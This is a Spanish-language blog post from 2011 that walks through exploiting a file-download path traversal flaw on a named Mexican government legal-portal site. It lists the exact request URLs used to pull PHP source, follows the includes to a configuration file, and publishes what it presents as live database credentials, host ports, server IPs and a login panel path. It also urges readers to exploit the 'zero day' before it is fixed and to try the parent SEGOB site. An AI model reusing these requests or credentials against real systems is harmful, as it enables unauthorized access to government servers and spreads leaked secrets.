viernes, 23 de diciembre de 2011

Sacando archivos PHP del servidor de SEGOB

Nota:

  • Lo redactado a continuación fue hecho solo con fines educativos, afortunadamente una buena practica de vulnerabilidad es un zero day en la pagina, aprovechenla no creo este para siempre esas vulnerabilidades.

  • Lo redactado a continuación es de mi autoria, si haces copia solo pon la fuente de donde proviene la info.

  • SI tuve faltas ortográficas, perdónenme, redacte súper rápido el archivo.



LA HISTORIA


Ayudando un amigo a investigar un asuntito en la pagina de ordenjuridico.gob.mx por error y cosas del destino me tope con dos cosas interesantes del sitio, la primera fue un INFORMATION DISCLOSURE, que me daba detalles de como estaba armado el sitio:


URL: http://www.ordenjuridico.gob.mx/estatal.php?edo=22cionado&liberado=no


Si accedemos en la pagina nos da el siguiente error:


-------------------------------------------


Notice: Undefined index: 22cionado in /usr/local/apache/htdocs_http/OrdenJuridico/estatal.php on line 199


-------------------------------------------
¿Algo interesante?
 Si, la siguiente url es la interesante:
-------------------------------------------
/usr/local/apache/htdocs_http/OrdenJuridico/estatal.php
-------------------------------------------
Nos indica que la pagina actual se llama estatal.php  y de ahi nos resuelve todo el directorio donde esta colocado...


 Y la segunda cosa interesante es:
-------------------------------------------
http://www.compilacion.ordenjuridico.gob.mx/obtenerdoc.php?path=/Documentos/ESTADO/SONORA/TODOS%20LOS%20MUNICIPIOS/o1721916.doc&nombreclave=o1721916.doc
-------------------------------------------
Se me ocurre que podamos jugar con la url haber que sucede, por ejemplo intentemos ver si logramos accesar al path de archivos:
-------------------------------------------
http://www.compilacion.ordenjuridico.gob.mx/obtenerdoc.php?path=/Documentos/ESTADO/
-------------------------------------------
**************************PoC(Proof of Concept)**************************


Oh sorpresa! nos devuelve un archivo a descargar, esto me huele a vulnerabilidad, veamos si podemos obtener la pagina php en la que estamos.:
-------------------------------------------
http://www.compilacion.ordenjuridico.gob.mx/obtenerdoc.php?path=obtenerdoc.php
-------------------------------------------
-mmmm... Nada, me devuelve un archivo con 0bytes de tamaño, sigamos intentando:
-------------------------------------------
http://www.compilacion.ordenjuridico.gob.mx/obtenerdoc.php?path=*.doc
-------------------------------------------
-Nada aun...
------------------------------------------
http://www.compilacion.ordenjuridico.gob.mx/obtenerdoc.php?path=*.php
-------------------------------------------
-NO, aun no! Veamos si logramos usar logica de programador...
-------------------------------------------
http://www.compilacion.ordenjuridico.gob.mx/obtenerdoc.php?path=index.php
-------------------------------------------
Oh sorpresa! pudimos descargar el archivo, aqui el codigo fuente:
Aqui lo he montado para su comodidad:
-------------------------------------------
http://pastebin.com/9TRivN3f
-------------------------------------------
el index.php que se supone descargamos corresponde al obtenerdoc.php encargado de darnos los archivos mediante una petición. He recogido el siguiente bloque de codigo que es interesante para la practica.
-------------------------------------------
<frameset rows="1,*" frameborder="NO" border="0" framespacing="0">
  <frame src="about:blank" name="cloack" scrolling="NO" noresize marginwidth="0" marginheight="0">
  <frame src="/ojn/index.php" name="mainFrame" scrolling="auto" noresize marginwidth="0" marginheight="0">
</frameset><noframes></noframes>
-------------------------------------------
Como vemos es un script muy simple y feo, no hay chiste y lo que en realidad descargamos
es un script que llama a otro script si observamos se hace uso de un IFRAME que a su vez llama a otro archivo php. Intentemos descargarlo. Esta vez ya estamos más lucidos y sabemos como van las urls.


En el script de FRAME logramos percatarnos de esto:
-------------------------------------------
src="/ojn/index.php"
-------------------------------------------
Obsevamos como va la dirección, por logica sabemos que dentro de la carpeta donde esta el index.php hay una carpeta OJN y dentro de ella hay otro index.php, bien, armemos la url:
-------------------------------------------
http://www.compilacion.ordenjuridico.gob.mx/obtenerdoc.php?path=/ojn/index.php
------------------------------------------
Lo probamos y... Voila!!! ahi esta el index.php puedes mirar el codigo fuente aqui:
-------------------------------------------
http://pastebin.com/38RVfDDT
-------------------------------------------


Y seguimos con las anidaciones en los script, el script interesante en este caso una funcion super vulnerable en php, es decir un include, pero la version de este include es el once, un poco mas seguro que el include normal, veamos si podemos seguir descargando los codigos fuentes, y luego veremos si podemos hacer algo más aventurado:


-------------------------------------------


<? include_once("./index/security/login2.inc.php"); ?>


-----------------------------------


información disclosure:
/usr/local/apache/htdocs_http/OrdenJuridico/estatal.php
------------------------
Armamos la URL:
-------------------------------------------
http://www.compilacion.ordenjuridico.gob.mx/obtenerdoc.php?path=/ojn/./index/security/login2.inc.php
-------------------------------------------
VOILA!!!! De nuevo logramos descargarnos el codigo fuente de su PHP super secreto (jajajaja), codigo fuente:
------------------------------------------
http://pastebin.com/CyDKSwFd
-------------------------------------------
Oh!! demonios otro include, esto me esta dando flojera, pero veamos el codigo fuente interesante de ese php:
-------------------------------------------
<?
include_once("./common/commonHeaderIndex.php");
if(isset($error))
 {
  $msj = "<b>Acceso No Autorizado</b><br>Usuario o Contraseña Incorrectos<br>Intente Nuevamente";
     }
 else if(isset($caduco))
  {
 ?>
-------------------------------------------
Y este otro: 
-------------------------------------------
<form name="loginForm" action="./index/security/usuarioValidacion.php" method="post">
-------------------------------------------
¿Dije que me daba flojera? Retiro lo dicho, observando los codigos vemos que son para acceso al panel de control.


Sigamos armando las URLS.
-------------------------------------
http://www.compilacion.ordenjuridico.gob.mx/obtenerdoc.php?path=/ojn/./index/security/usuarioValidacion.php
-------------------------------------------
Para generar el segundo URL del php, esta un poco mas tedioso, pero es facil veamos, el codigo usuarioValidación tiene la siguiente cabecera:


include_once("../../common/lib/commonFunctions.php");


Eso significa que incluira el codigo de commonFunctions.php dentro del mismo archivo de validación, por recurrencia, es al mismo tiempo incluido al archivo  login2.inc.php, wow, es decir se utiliza recurrencia, un termino de programación, o lo que es lo mismo es una anidación de anidaciones de llamadas asi mismos. Para obtener la segunda url seria dificil si no comprendemos ese termino ya que si intentaramos el siguiente URL, nos daria error:


---------------------------------------------
http://www.compilacion.ordenjuridico.gob.mx/obtenerdoc.php?path=/ojn/./index/security/./common/commonHeaderIndex.php
-------------------------------------------
y VOILA!!! SI probamos la url que hemos formado veremos que obtendremos el codigo fuente llamado COMMON:


http://www.compilacion.ordenjuridico.gob.mx/obtenerdoc.php?path=/ojn/./index/security/../../common/lib/commonFunctions.php


o lo que es equivalente a esto:


http://www.compilacion.ordenjuridico.gob.mx/obtenerdoc.php?path=/ojn/./common/commonHeaderIndex.php
-------------------------------------------
**************************************************************
Del codigo usuarioValidación obtenemos esto:


http://pastebin.com/kVUZwexR


Y del codigo de common, obtenemos esto:


http://pastebin.com/X0LHpLmi


**************************************************************


¿Recuerdas que habiamos hablado de recursividad?


Tal vez la recursividad propiamente tal como es no es aplicado en esas urls, pero si en un sentido basico.


Ahora veamos, ¿urls interesantes? solo la que esta dentro del codigo fuente de common, ya que el script de UsuarioValidación tambien hace la llamada al common. Asi que ahorita solo nos preocuparemos por el common.


**************************************************************
Bien dentro del codigo de COMMON, no hay más links, sin embargo el programador ha comentariado el siguiente bloque


de codigo:
-------------------------------------------


//    include_once("./ojn.conf.php");


-------------------------------------------
¿Qué sera?


 Para los que ya lo intuyen, sin ver el codigo fuente puedo decir que es la configuración del OJN, demosle un vistazóoo:


Armemos la url:


http://www.compilacion.ordenjuridico.gob.mx/obtenerdoc.php?path=/ojn/./common/./ojn.conf.php


Demonios da error!!!


¿Sera acaso que el programador ha comentariado la linea por que han remodelado el sitio?
vayamos un nivel arriba:
--------------------------------
http://www.compilacion.ordenjuridico.gob.mx/obtenerdoc.php?path=/ojn/./ojn.conf.php
------------------------------------------
¡VOILA! no por nada estoy estudiando para ser programador!
Aqui el codigo fuente del PHP:
-------------------------------------------
http://pastebin.com/REYV7ahf
-------------------------------------------
¿Hay información importante?


SI! y muchisima, veamos bloques de codigo fuente interesantes...
Me temo que todo el codigo es interesante vayamos desmenuzandolo de poco a poco:


-------------------------------------------
// Web Address (URL) of your Website 


define("URL_ROOT_ADDRESS","https://scojn.segob.gob.mx");


define("URL_ADDRESS",URL_ROOT_ADDRESS."/ojn");


-------------------------------------------
Como vemos la dirección donde se encuentra la base de datos del ROOT es: 
https://scojn.segob.gob.mx
¡wasu!
-------------------------------------------
// Location of your Source code (absolute Paths)


define("SITE_PATH","/usr/local/apache/htdocs/SCOJN");            


define("FILE_SEPARATOR", "/");       


define("WEB_SEPARATOR","/");  
-------------------------------------------
Más cosas interesantes, el path de la URL es: /usr/local/apache/htdocs/SCOJN
¿Algo más interesante que eso?
------------------------------------------
// Database Configuration


define("DATABASE_SERVER_TO_USE","mysql");         


define("DATABASE_HOST", "127.0.0.1:3770");          


define("DATABASE_USER_NAME","bdojn");           


define("DATABASE_PASSWORD","db2005ojn");             


define("DATABASE_NAME","ojn");                  
-------------------------------------------
¡Si con lo que te he mostrado no te sorprendes entonces no se si eres humano!


Nos dice que usa MYSQL como servidor de bases de datos, ademas se encuentra en la Ip local pero seamos logicos, si queremos accesar a una Ip remora entonces posiblemente sea la Ip en donde se encuentra el documento actual, o en dado caso en donde se ha definido como la URL de segob:


HOST:127.0.0.1:3770


 Provando resolverlo a un dominio:


    ordenjuridico.gob.mx   ----->  201.159.134.119:3770
    compilacion.ordenjuridico.gob.mx   ----->  201.159.134.38:3770
    scojn.segob.gob.mx   ----->    201.159.134.29:3770 
    segob.gob.mx   ----->    201.159.134.94:3770


En fin eso es basico tener la intuición como vemos determinando por consola de comandos las Ips, nos damos cuentas que el servidor es el mismo simplemente tiene subdominios en su DNS. Solo por curiosidad pondre la info completa de ese servidor:
------------------------------------------------------------------------------------
#
# Query terms are ambiguous.  The query is assumed to be:
#     "n 201.159.134.94"
#
# Use "?" to get help.
#
#
# The following results may also be obtained via:
# http://whois.arin.net/rest/nets;q=201.159.134.94?showDetails=true&showARIN=false&ext=netref2
#
NetRange:       201.0.0.0 - 201.255.255.255
CIDR:           201.0.0.0/8
OriginAS:       
NetName:        LACNIC-201
NetHandle:      NET-201-0-0-0-1
Parent:         
NetType:        Allocated to LACNIC
Comment:        This IP address range is under LACNIC responsibility
Comment:        for further allocations to users in LACNIC region.
Comment:        Please see http://www.lacnic.net/ for further details,
Comment:        or check the WHOIS server located at http://whois.lacnic.net
RegDate:        2003-04-03
Updated:        2010-07-21
Ref:            http://whois.arin.net/rest/net/NET-201-0-0-0-1
OrgName:        Latin American and Caribbean IP address Regional Registry
OrgId:          LACNIC
Address:        Rambla Republica de Mexico 6125
City:           Montevideo
StateProv:      
PostalCode:     11400
Country:        UY
RegDate:        2002-07-27
Updated:        2011-09-24
Ref:            http://whois.arin.net/rest/org/LACNIC
ReferralServer: whois://whois.lacnic.net
OrgTechHandle: LACNIC-ARIN
OrgTechName:   LACNIC Whois Info
OrgTechPhone:  999-999-9999 
OrgTechEmail:  whois-contact@lacnic.net
OrgTechRef:    http://whois.arin.net/rest/poc/LACNIC-ARIN
OrgAbuseHandle: LACNIC-ARIN
OrgAbuseName:   LACNIC Whois Info
OrgAbusePhone:  999-999-9999 
OrgAbuseEmail:  whois-contact@lacnic.net
OrgAbuseRef:    http://whois.arin.net/rest/poc/LACNIC-ARIN
#
# ARIN WHOIS data and services are subject to the Terms of Use
# available at: https://www.arin.net/whois_tou.html
#
--------------------------------------------------------------------------------------


La información me confirma que las paginas web estan en el mismo servidor, y que son 8 subdominios más que podrian estar afectados por esa vulnerabilidad en el sitio web.


Y por ultimo sabemos que 


USER_NAME: bdojn           


PASSWORD: db2005ojn            


DATABASE_NAME: ojn   


--------------------------------------------------------------------------------------
Y la ultima linea de codigo interesante es:


define("CONFIG_FILE",CONFIG_COMPONENT.FILE_SEPARATOR."configuration.inc.php");
--------------------------------------------------------------------------------------
Antes de proceder a general vemos que un panel de control es:


/ojn/./index/security/login2.inc.php


Al interesado en encontrarlo tendria que ir analizando los folders que formen el sitio, una forma sencilla clasica es ir checando los folder de informacion disclosure, imagenes, y otros mas del codigo fuente. Tambien puedes investigar en paginas que se encuentren en el mismo servidor. Lee todo esta entrada y te daras cuenta e ir probando un ejemplo fallido es:


http://www.ordenjuridico.gob.mx/login2.inc.php
--------------------------------------------------


CONCLUSIÓN:


Fue divertido armar esta mini guía por decirlo así, sin embargo de todo eso podemos acceder a folders httpd y otros más para obtener información, el servidor es Apache, es importante aclarar que mi intención no fue hackear dicha web, ni desfacearla, pues por ahora carezco de intereses al respecto. 


Todo lo publicado fue redactado para propósitos educacionales.  Se creativo y posiblemente descubrirás como descargar archivos PHP desde segob.gob.mx ya que vemos que se encuentra en el mismo server. Yo no lo he intentado, ni lo hare ya que no es de mi interes, pero de que es posible es posible, estas y otras vulnerabilidades son encontradas en el servidor.


Atentamente: ZD4P50N  (Mouse) 
Fuente: Spypeople!

No hay comentarios:

Publicar un comentario